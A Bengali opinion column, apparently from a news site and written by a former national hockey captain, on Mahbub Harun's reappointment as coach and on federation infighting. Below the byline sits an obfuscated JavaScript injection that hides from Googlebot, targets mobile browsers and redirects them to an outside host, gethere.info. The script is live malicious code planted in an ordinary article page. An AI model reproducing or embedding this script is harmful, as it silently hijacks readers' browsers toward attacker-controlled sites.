for Add
: ১৫ অক্টোবর ২০১৫, বৃহস্পতিবার, ১৯:৩৬:৫৩
মেজর চাকলাদার (অব:) : অবশেষে মাহবুব হারুন আবার জাতীয় হকির দলের কোচ। নভেম্বরে মালয়েশিয়ায় অনুর্ধ্ব-২১ এশিয়ান হকি। এসএ গেমসের হকি আগামী বছর ভারতের গুয়াহাটিতে। জানুয়ারিতে হওয়ার কথা ছিল দক্ষিণ এশিয়ার সবচেয়ে বড় এ গেমস। ওখানে তীব্র শীত, তাই গেমস পিছিয়ে গেছে এক বা দেড় মাস।
২০০৮-এ এশিয়ান হকি ফেডারেশন কাপ চ্যাম্পিয়ন হয় মাহবুব হারুনের কোচিংয়েই। জনতা ব্যাংক ৩৫০০ ডলার খরচ করে বিদেশী কোচদের জন্য বরাদ্ধ করার পরই আনা হয় গেরহার্ড পিটারকে। জার্মান এই কোচ ২০০৯ থেকে ২০১১ পর্যন্ত ছিলেন। মালয়েশিয়াতে এশিয়ান কাপ আর চীনে এশিয়ান গেমসের দুটোতেই দেশকে অষ্টম স্থানে শেষ করেন।
পিটারের পর আবারও মাহবুব হারুন এবং তিনি ওয়ার্ল্ড হকি লিগ রাউন্ড-১ সিঙ্গাপুরে দেশকে চ্যাম্পিয়ন করেন। ওয়ার্ল্ড হকি লিগ রাউন্ড-২তে দিল্লিতে দেশকে তৃতীয় করেন তিনি। ২০১২ এবং ২০১৩’র এই সাফল্যের পরই অতি উৎসাহী কিছু কর্মকর্তা হারুনকে সরিয়ে ২০১৩’র এশিয়া কাপে পাকিস্তানের নাভেদ আলমকে নিয়োগ দেন। মাহবুব হারুন হয়ে যান তার ডেপুটি।
মালয়েশিয়াতে গিয়েই নাভেদ টের পান তিনি মাহবুব হারুনের সৃষ্টি করা রেজাল্ট করতে পারবেন না। তাই ৭ম পজিশন পাওয়া মাত্র বলা শুরু করেন, মাহবুব হারুন তাকে সহযোগিতা করেননি। জিমি, রানা, জাহিদ, পিন্টু- এরা বিশ্বাসঘাতক।
বিদেশীদের লেজুড় ধরা অনেকেরই স্বভাব। সেই স্বভাবের দ্বারা চালিত কিছু কর্মকর্তা অব্যাহতি দিয়েছিল মাহবুব হারুনকে। আর বিভিন্ন মেয়াদে শাস্তি দিল হকির গুণি খেলোয়াড়দের। বিদেশী কোচরা পায় তিনলাখ টাকা বেতন, বাড়ী-গাড়ির সুবিধা। সাথে বিনা পয়সার চামচাও। আর মাহবুব হারুন পেতেন মাত্র ৩০ হাজার টাকা। ফলাফলের পাল্লা মাহবুব হারুনের দিকেই। এই বর্ণাঢ্য কোচিং সফল কোচ হারুন আবার এসেছে এবং জানি ও সফল হবেই।
যে কর্মকর্তারা বিদেশীদের অভিযোগের সাথে সাথেই তা কার্যকরী করতে পাগল হয়ে যায় তারা কেন হকির এই সমস্যা, যেটা মোহামেডানসহ চার দল এবং অপরদিকে সাধারণ সম্পাদক মিলে সৃষ্টি করে রেখেছে তার সমাধান করতে পারছে না?
মোহামেডান গ্রুপের নেতৃত্ব দিচ্ছেন জনাব মুনির। আর অপরদিকে ফেডারেশনের সাধারণ সম্পাদক রহমতুল্লাহ। হকির স্বার্থে এই দুইজনকেই পাঁচ বছরের জন্য হকির যে কোন কর্মকাণ্ড থেকে সাসপেন্ড করুন। আমরাই সমস্যাটাকে লালন-পালন করছি। তাতে শেষ হয়ে যাচ্ছে হকি খেলোয়াড়রা। মাঠে খেলা না থাকাতে তারা আর্থিকভাবে পঙ্গু হয়ে পড়েছে। ধ্বংস হচ্ছে হকির ভবিষ্যৎ।
#বাম থেকে- তিশা, মালেক চুন্নু, জুম্মন লুসাই এবং সাহাবুদ্দিন চাকলাদার। ছবিটি ১৯৮২ সালে দিল্লি এশিয়ান গেমস চলাকালে তোলা। জুম্মন লুসাই এবং মালেক চুন্নু ইতিমধ্যে পৃথিবী ছেড়ে চলে গেছেন। ছবি: লেখক নিজে।
বঙ্গবন্ধু স্টেডিয়াম হকি স্টেডিয়ামের ছয় গুণ বড়। ৮৫ সনে সেই মাঠ কানায় কানায় পূর্ণ ছিল। নিরাপত্তা গেট বাধ্য হয়ে খুলে দিতে হয়েছিল। যাতে দর্শকরা মাঠের লাইনের পাশে বসে খেলা দেখতে পারে। গর্বিত লাগে সেই সময় বাংলাদেশ হকি দলের অধিনায়ক ছিলাম আমি।
সেই দর্শকদের হকি মাঠ থেকে সরিয়ে দিয়েছি আমরাই। বিদেশি লেজুড়বৃত্তি আর দলাদলি হল হকি কর্মকর্তাদের এজেন্ডা। এ থেকে সরে আসতেই হবে। বাঁচাতে হবে হকি খেলাকে। কর্মকর্তাদের কঠোর হতে হবে এবং নির্মমভাবে শাস্তি দিতে হবে, যারা কোন্দল করে হকি খেলাকে মাঠে আসতে দিচ্ছে না। আশা করব কর্মকর্তারা কঠোর হবেন।
শেষ করবার পূর্বে একটি অনুরোধ রাখব। ফেডারেশন শুধু কবে কোন খেলা নিয়েই ব্যস্ত থাকে না। অবদান যাদের আছে তাদের নিয়েও অনুষ্ঠান করা বাঞ্চনীয়। ১৯৮৫ সালের হকি দলটি প্রথম বাংলাদেশকে দেখিয়েছিল- ‘হকিতে আমরাও পারি’। এরপরই গ্রামে-গঞ্জে ছড়িয়ে পড়েছিল হকি। সেই দলটির ম্যানজোর সাব্বির ইউসুফ, খেলোয়াড় জুম্মন লুসাই, কাঞ্চন, মালেক চুন্নু আর নেই। এদের নিয়ে কী একটি অনুষ্ঠান করা যায় না?
হকির প্রবাদপ্রতীম পুরুষ আবদুস সাদেককে অনুরোধ করব, এই বিষয়ে একটু আগ্রহী হতে। তাহলেই আমরা এই মৃত্যুঞ্জয়ী হকি খেলোয়াড়দের নিয়ে আলোচনা দেখতে পাবো।
লেখক: জাতীয় হকির দলের সাবেক অধিনায়ক
জাতীয় পুরস্কারে ভূষিত এবং সভাপতি : রক্তিম সঙ্ঘ হকি ক্লাব।
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add